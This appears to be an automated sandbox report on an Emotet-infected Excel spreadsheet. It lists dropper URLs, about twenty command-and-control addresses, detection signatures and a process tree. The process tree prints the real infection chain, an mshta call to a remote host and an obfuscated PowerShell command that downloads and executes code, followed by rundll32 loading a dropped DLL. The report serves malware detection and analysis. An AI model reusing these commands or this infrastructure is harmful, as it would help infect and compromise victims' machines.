Analysis

  • max time kernel
    129s
  • max time network
    160s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    28/01/2022, 16:53

General

  • Target
    tmp17c1_nrc.xls
  • Size 85KB
  • Sample220128-vd4craggdj
  • SHA256 9cfb6573798d806ca7844032c86b9340a5efbbb326c074a19d1fd74ba425ebfa
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.172/gg/ff/fe.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.240.118.172/gg/ff/fe.png

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 160.16.102.168:80

  • 131.100.24.231:80

  • 200.17.134.35:7080

  • 207.38.84.195:8080

  • 212.237.56.116:7080

  • 58.227.42.236:80

  • 104.251.214.46:8080

  • 158.69.222.101:443

  • 192.254.71.210:443

  • 46.55.222.11:443

  • 45.118.135.203:7080

  • 107.182.225.142:8080

  • 103.75.201.2:443

  • 104.168.155.129:8080

  • 195.154.133.20:443

  • 159.8.59.82:8080

  • 110.232.117.186:8080

  • 45.142.114.231:8080

  • 41.76.108.46:8080

  • 203.114.109.124:443

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmp17c1_nrc.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2944
    • C:\Windows\SYSTEM32\CMD.EXE
      CMD.EXE /c mshta http://91.240.118.172/gg/ff/fe.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2200
      • C:\Windows\system32\mshta.exe
        mshta http://91.240.118.172/gg/ff/fe.html
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:3868
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.172/gg/ff/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1656
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\JooSee.dll,ssAAqq
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2540
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\JooSee.dll,ssAAqq
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:2260
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\JooSee.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1044
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Rwowngsukom\fbqfghtzrbm.fji",NbNuaAepK
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2896
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Rwowngsukom\fbqfghtzrbm.fji",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3560
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 3868 -s 1816
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1700

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        memory/1044-380-0x0000000005990000-0x00000000059B5000-memory.dmp

        memory/1044-354-0x00000000057C0000-0x00000000057E5000-memory.dmp

        memory/1044-350-0x0000000005700000-0x0000000005725000-memory.dmp

        memory/1044-352-0x0000000005760000-0x0000000005785000-memory.dmp

        memory/1044-346-0x0000000005340000-0x0000000005365000-memory.dmp

        memory/1044-344-0x0000000004E40000-0x0000000004E65000-memory.dmp

        memory/1656-317-0x0000020F97800000-0x0000020FAF900000-memory.dmp

        memory/1656-299-0x0000020FAFB90000-0x0000020FAFBCC000-memory.dmp

        memory/1656-316-0x0000020F97800000-0x0000020FAF900000-memory.dmp

        memory/1656-310-0x0000020FB00A0000-0x0000020FB0116000-memory.dmp

        memory/1656-315-0x0000020F97800000-0x0000020FAF900000-memory.dmp

        memory/1656-280-0x0000020FAFA00000-0x0000020FAFA22000-memory.dmp

        memory/2260-340-0x0000000000470000-0x0000000000495000-memory.dmp

        memory/2896-378-0x0000000002EF0000-0x0000000002F15000-memory.dmp

        memory/2944-373-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

        memory/2944-121-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

        memory/2944-124-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

        memory/2944-132-0x00007FF7E1700000-0x00007FF7E1710000-memory.dmp

        memory/2944-131-0x00007FF7E1700000-0x00007FF7E1710000-memory.dmp

        memory/2944-120-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

        memory/2944-374-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

        memory/2944-375-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

        memory/2944-376-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

        memory/2944-119-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

        memory/2944-118-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

        memory/3560-381-0x0000000000C10000-0x0000000000C35000-memory.dmp

        memory/3560-384-0x0000000004670000-0x0000000004695000-memory.dmp

        memory/3560-388-0x0000000004930000-0x0000000004955000-memory.dmp

        memory/3560-390-0x0000000004A10000-0x0000000004A35000-memory.dmp

        memory/3560-392-0x0000000004AF0000-0x0000000004B15000-memory.dmp

        memory/3560-394-0x0000000004BF0000-0x0000000004C15000-memory.dmp

        memory/3560-396-0x0000000004DE0000-0x0000000004E05000-memory.dmp

        memory/3560-398-0x0000000004E60000-0x0000000004E85000-memory.dmp